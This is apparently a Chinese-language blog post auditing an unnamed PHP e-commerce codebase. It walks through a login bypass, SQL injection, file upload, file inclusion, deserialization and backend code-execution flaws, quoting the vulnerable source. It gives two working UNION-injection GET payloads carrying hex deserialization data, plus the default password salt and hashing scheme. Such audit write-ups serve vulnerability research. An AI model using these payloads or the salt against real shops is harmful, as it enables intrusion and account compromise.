记录一次代码审计 背景 之所以这么叫,实在不知道这套代码应该怎么叫了
看的这套是代码量最多的一套
控制器数量存在一定差距
前台权限绕过 定位api/controller/Base.php
的checkLogin
方法
写的有点搞笑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public function checkLogin ( ) { $user = session('user' ); $user ['expire_time' ] = time() + C('session.expire' ); if (time() > $user ['expire_time' ] || !$user ) DataReturn::returnBase64Json(302 , '校验失败,需要重新登录!' ,'/dist/pages/login.html' ); if (isset ($user ['user_id' ])) { $user_info = db('users' )->where('user_id' ,$user ['user_id' ] )->find(); if (!$user_info ) DataReturn::returnBase64Json(302 , '获取用户信息失败' ,'/dist/pages/login.html' ); $this ->user_id = $user_info ['user_id' ]; $this ->user_info = $user_info ; if ($user_info ['is_lock' ] == 1 ) DataReturn::returnBase64Json(302 , '此用户已锁定!' ,'/dist/pages/login.html' ); } return true ; }
猜测开发可能是想,一天内的自动登录问题,但是逻辑出了问题
在未登录的状态下,session
为空
此时的$user
为null
下面给$user
赋值
$user
不为空了
基本就是当前时间和一天后的时间进行判断,肯定不满足
本来$user
是空的,赋值之后不空了,所以直接跳过了登录
下面又检测如果存在 user_id
,不存在
导致直接返回true
前台XSS 未设置全局过滤
都是在写入数据库是实体化的,总会有很多疏漏
或者
多个地方打一打就好了
未授权注入 这个注入点在api
接口,对比了一下旧版本的,
三个版本都存在api/controller/Business.php
的order_detail
方法
复现
但是加密比较难搞盐值太长了
默认盐值JUD6FCtZsqrmVXc2apev4TRn3O8gAhxbSlH9wfPN
加密方式md5(md5(pass).salt)
废弃的上传 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public function mycode ( ) { $user_id =$this ->user_id; $wxcode =M('users' )->where(['user_id' =>$user_id ])->value('wx_code' ); if (!empty ($wxcode ) && file_exists($wxcode )){ DataReturn::returnJson('200' ,'' ,['imageurl' =>request()->domain().'/' .$wxcode ]); }else { $paymentPlugin = M('Plugin' )->where("code='miniAppPay' and type = 'payment' " )->find(); $config_value = unserialize($paymentPlugin ['config_value' ]); $appid = $config_value ['appid' ]; $appsecret = $config_value ['appsecret' ]; $post_arr = [ 'scene' => 'user_id$' .$user_id , ]; $jssdk = new JssdkLogic($appid ,$appsecret ); $base64 =$jssdk ->getwxacodeunlimit($post_arr ); if (preg_match('/^(data:\s*image\/(\w+);base64,)/' , $base64 , $img )){ $type = $img [2 ]; }else { DataReturn::returnJson('400' ,'获取失败' ); } $file = 'public/wxcode/' .date('Ymd' , time()).'/' ; if (!file_exists($file )) { mkdir($file , 0777 , true ); } $imgpath = $file . md5(time()).'.' .$type ; file_put_contents($imgpath ,base64_decode(str_replace($img [1 ],'' ,$base64 ))); M('users' )->where(['user_id' =>$user_id ])->update(['wx_code' =>$imgpath ]); DataReturn::returnJson('200' ,'' ,['imageurl' =>request()->domain().'/' .$imgpath ]); } }
原因是因为,不存在相关字段
后台任意文件上传 后台的这三个方法,都是任意文件上传
反序列化漏洞 结合注入使用
通用的
api/controller/shop/Order.php
的return_info
方法
1为注入点,2为反序列化点
payload
地刘刘哥字段为16
进制的反序列化paylaod
1 GET /shop/order/return_info?id=1) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0xa1a1a1a1,17,18,19,20,21,22,23-- #
需要使用get
方法,不然post
方法会走update
报错
新版本的反序列化漏洞 和上面一样的权限
在goods控制器中,同样的操作
payload
第14个字段为反序列化数据
1 GET /shop/goods/addEditGoods?id=1)%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,0xa1a1a1,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45--+
文件包含漏洞 三个版本都不一样
第一种
/shop/order/order_print
参数:order_id
存在注入
参数template
存在文件包含
需要构造注入,使之正常运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public function order_print ( ) { $order_id = I('order_id' ); $orderLogic = new OrderLogic(); $order = $orderLogic ->getOrderInfo($order_id ); $order ['province' ] = getRegionName($order ['province' ]); $order ['city' ] = getRegionName($order ['city' ]); $order ['district' ] = getRegionName($order ['district' ]); $order ['full_address' ] = $order ['province' ].' ' .$order ['city' ].' ' .$order ['district' ].' ' . $order ['address' ]; $orderGoods = $orderLogic ->getOrderGoods($order_id ); $shop = tpCache('shop_info' ); $this ->assign('order' ,$order ); $this ->assign('shop' ,$shop ); $this ->assign('orderGoods' ,$orderGoods ); $template = I('template' ,'print' ); return $this ->fetch($template ); }
/shop/promotion/search_goods
最新版可选项
/mobile/index/index
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public function index ( $viewname = null ) { $ad = Db::name('ad' )->where(['status' => 1 ])->select(); $config = Db::name('config' )->where(['name' => 'web_site_description' ])->limit(1 , 1 )->value('value' ); $user = session('user' ); $user ["payment_count" ] = M('user_payment' )->where('user_id' , $this ->user_id)->count(); $user ["subaccount_count" ] = M('users_sub' )->where('user_id' , $this ->user_id)->count(); $users = db('users' )->where(['user_id' =>$this ->user_id])->find(); $real_name_status = $users ["real_name_status" ]; $user ["is_identity" ] = ($users ["real_name_status" ]==2 )?"已认证" :(($users ["real_name_status" ]==1 )?"认证中" :(($users ["real_name_status" ]==0 )?"未认证" :(($users ["real_name_status" ]==-1 )?"已驳回" :"" ))); $user ["is_identity_i" ] = ($users ["real_name_status" ]==2 )?1 :0 ;; $this ->assign('ad' , $ad ); $this ->assign('user' , $user ); $this ->assign('conent' , $config ); $this ->assign('real_name_status' , $real_name_status ); if ( $viewname ==null ) return $this ->fetch(); else return $this ->fetch($viewname ); }
远古版本
只有order
下的控制器存在
通用复现
getOrderInfo
存在注入
1 2 3 4 5 6 7 8 9 public function getOrderInfo ($order_id ) { $order = M('order' )->where("order_id = $order_id " )->find(); if (empty ($order ))return false ; $order ['address2' ] = $this ->getAddressName($order ['province' ],$order ['city' ],$order ['district' ]); $order ['address2' ] = $order ['address2' ].$order ['address' ]; return $order ; }
getOrderGoods
存在注入
1 2 3 4 5 6 7 8 9 10 public function getOrderGoods ($order_id ,$is_send ='' ) { $where = '' ; if ($is_send ){ $where =" and o.is_send < $is_send " ; } $sql = "SELECT g.*,o.*,(o.goods_num * o.member_goods_price) AS goods_total FROM __PREFIX__order_goods o " . "LEFT JOIN __PREFIX__goods g ON o.goods_id = g.goods_id WHERE o.order_id = $order_id " .$where ; $res = DB::query($sql ); return $res ; }
但是由于一个是45
个字段一个是20
个字段,没办法使用注入了
只能正常的搞了
后台代码执行 继承关系如下
admin
模块通过base
控制器来鉴权
调用auth
的check
方法
调用getAuthList
方法
代码执行
只要存在可以控制数据库condition
的就可以
可以通过admin
模块下的menu
控制器来添加
end